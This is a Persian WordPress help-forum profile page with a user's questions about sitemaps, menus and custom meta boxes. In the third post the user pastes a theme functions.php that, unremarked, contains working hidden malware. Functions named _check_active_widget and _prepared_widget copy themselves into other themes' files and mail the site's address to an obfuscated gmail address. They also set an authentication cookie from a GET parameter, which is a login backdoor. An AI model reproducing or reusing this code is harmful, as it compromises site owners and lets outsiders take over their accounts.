mehran74

عضو سایت
  • تعداد ارسال ها

    6
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در انجمن

0

درباره mehran74

  • درجه
    تازه کار
  1. پ.خ دادم
  2. سلام من تو سایتم دو تا مشکل دارم اولیش اینه که من سایت مپ نصبیدم اما وقتی میرم تو ادرسش 404 Not Found میده ریبولد هم میکنم همینطوره تو هاست هم میخوام خودم دستی بسازم اما ارور There is still a sitemap.xml or sitemap.xml.gz file in your blog directory. Please delete them as no static files are used anymore or try to delete them automatically میده دومین مشکل من اینه که از افزونه Dropdown Menu Widget برای ساخت منو استفاده میکنم و تو قسمتی تنظیمات افزونه پیش نمایش که میاره همه چیش خوبه اما همین که کدشو میزارم تو قالب زیر منو هاش هم نمیاد اگه میشه کمکم کنید چون هر روشی امتحان کردم فایده نداشت ، اگه هزینه هم بود مشکلی نیس
  3. درمجموع باید این کد هارو قبل از ?> قرار بدم درسته ؟؟ اینم کد : $arr_artist_details = array ( "artist-image-url" => array( "name" => "artist-image-url", // custom field name i.e. the KEY "type" => "input", // type of custom field i.e. required form's element type could be input/textarea/select etc ... "title" => "Artist Image URL", // title to be used for the key i.e. form's label "description" => "field description / help tip", // field description (if any) "scope" => array("post","page")), // define the scope in posts/pages "artwork1-small-image-url" => array( "name" => "artwork1-small-image-url", "type" => "input", "title" => "Artwork 1 Small Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork1-large-image-url" => array( "name" => "artwork1-large-image-url", "type" => "input", "title" => "Artwork 1 Large Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork2-small-image-url" => array( "name" => "artwork2-small-image-url", "type" => "input", "title" => "Artwork 2 Small Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork2-large-image-url" => array( "name" => "artwork2-large-image-url", "type" => "input", "title" => "Artwork 2 Large Image URL", "description" => "field description / help tip", "scope" => array("post","page")) ); function generate_artist_form() { global $post, $arr_artist_details; foreach($arr_artist_details as $meta_box) { echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />'; echo'<div><span style="width:200px; float:left">'.$meta_box['title'].'</span>'; if( $meta_box['type'] == "input" ) { $meta_box_value = get_post_meta($post->ID, $meta_box['name'], true); if($meta_box_value == "") $meta_box_value = $meta_box['std']; echo'<input type="text" name="'.$meta_box['name'].'" value="'.$meta_box_value.'" size="98" /><br />'; } elseif ( $meta_box['type'] == "select" ) { echo'<select name="'.$meta_box['name'].'">'; foreach ($meta_box['options'] as $option) { echo'<option'; if ( get_post_meta($post->ID, $meta_box['name'], true) == $option ) { echo ' selected="selected"'; } elseif ( $option == $meta_box['std'] ) { echo ' selected="selected"'; } echo'>'. $option .'</option>'; } echo'</select>'; } echo '</div>'; echo'<p><label for="'.$meta_box['name'].'">'.$meta_box['description'].'</label></p>'; } } function save_form_data( $post_id ) { global $post, $arr_artist_details; foreach($arr_artist_details as $meta_box) { if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) { return $post_id; } if ( 'page' == $_POST['post_type'] ) { if ( !current_user_can( 'edit_page', $post_id )) return $post_id; } else { if ( !current_user_can( 'edit_post', $post_id )) return $post_id; } $data = $_POST[$meta_box['name']]; if(get_post_meta($post_id, $meta_box['name']) == "") add_post_meta($post_id, $meta_box['name'], $data, true); elseif($data != get_post_meta($post_id, $meta_box['name'], true)) update_post_meta($post_id, $meta_box['name'], $data); elseif($data == "") delete_post_meta($post_id, $meta_box['name'], get_post_meta($post_id, $meta_box['name'], true)); } } function create_meta_box() { global $theme_name, $arr_artist_details; if (function_exists('add_meta_box')) { add_meta_box( 'my-custom-fields', 'Gallery - Artist Details', 'generate_artist_form', 'post', 'normal', 'low' ); } } سیو کردم اما بازم چیزی نیاورد اینم شاتش : http://up.download.i.../OPOW/23121.png اینم محتوای function قالب : <?php add_theme_support( 'post-thumbnails' ); add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' ); register_sidebar(array( 'name' => 'block rast', 'before_widget' => '', 'before_title' => '<div class="insidecats"> <div class="titcats">', 'after_title' => '</div>', 'after_widget' => '</div>', )); add_action('admin_menu', 'skydesign_theme_page'); function skydesign_theme_page () { if ( count($_POST) > 0 && isset($_POST['skydesign_settings']) ) { $options = array ('admin_massage', 'welcome_link','new_address'); foreach ( $options as $opt ) { delete_option ( 'skydesign_'.$opt, $_POST[$opt] ); add_option ( 'skydesign_'.$opt, $_POST[$opt] ); } } add_menu_page(__('????? ???? ????'), __('????? ???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings'); add_submenu_page(__('???? ????'), __('???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings'); } function skydesign_settings() {?> <div class="wrap"> <h2>??? ????? ???? ???? </h2> <form method="post" action=""> <fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;"> <legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend> <table class="form-table"> <tr valign="top"> <th scope="row"><label for="admin_massage">???? ????</label></th> <td> <input name="admin_massage" type="text" id="admin_massage" value="<?php echo get_option('skydesign_admin_massage'); ?>" class="regular-text" /><br /> </td> </tr> </table> </fieldset> <p class="submit"> <input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" /> <input type="hidden" name="skydesign_settings" value="save" style="display:none;" /> </p> <?php } // retreives image from the post function getImage($num) { global $more; $more = 1; $content = get_the_content(); $count = substr_count($content, '<img'); $start = 0; for($i=1;$i<=$count;$i++) { $imgBeg = strpos($content, '<img', $start); $post = substr($content, $imgBeg); $imgEnd = strpos($post, '>'); $postOutput = substr($post, 0, $imgEnd+1); $image[$i] = $postOutput; $start=$imgEnd+1; $cleanF = strpos($image[$num],'src="')+5; $cleanB = strpos($image[$num],'"',$cleanF)-$cleanF; $imgThumb = substr($image[$num],$cleanF,$cleanB); } if(stristr($image[$num],'<img')) { echo $imgThumb; } $more = 0; } //retreive image ends ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', )); function my_function_admin_bar(){ return false; } add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?>
  4. همین کارو کردم اما بازم چیزی تو ارسال پست نیاورد
  5. دوس عزیز منظور من تو ارسال پست بود این عکس ببینید : http://cdn.instantshift.com/wp-content/uploads/2010/10/htswcflfal-03.jpg این آموزش پیدا کردم اما نمیتونم چظور انجامش بدم ؟؟؟ : http://designshovel.com/go/tpaaab
  6. سلام میخواستم بدونم چطوری میشه زمینه دلخواه به قسمت جدا تبدیل کرد ؟؟